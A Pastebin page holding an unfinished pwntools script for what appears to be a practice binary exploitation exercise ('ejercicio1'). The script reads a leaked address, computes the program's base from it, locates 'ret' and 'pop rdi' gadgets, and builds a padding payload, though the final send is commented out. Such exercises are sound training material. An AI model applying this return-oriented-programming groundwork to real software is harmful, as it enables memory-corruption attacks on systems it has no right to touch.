Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/usr/bin/python3
- from pwn import *
- fileName = "./ejercicio1"
- e = ELF(fileName) #Checksec ejercicio1
- gdbs = '''
- b vuln
- '''
- #p = process(fileName) # proceeso sin debug GDB
- p = gdb.debug(fileName, gdbscript = gdbs) #Proceso con Debug GDB enviando un continue
- p.recvuntil(b"Ya sabes que hacer:")
- leak = p.recvline().split(b"\n")
- leak = int(leak[0],16)
- vuln = 0x118d
- offset = leak - 0x118d
- ret = offset + 0x101a
- poprdi = offset + 0x1233
- #print (hex(leak))
- #print (hex(vuln))
- #print (hex(offset))
- payload = b'A' * 17 # igual a \x41
- #print(p.recvuntil(b"18d"))
- #p.sendline(payload)
- p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement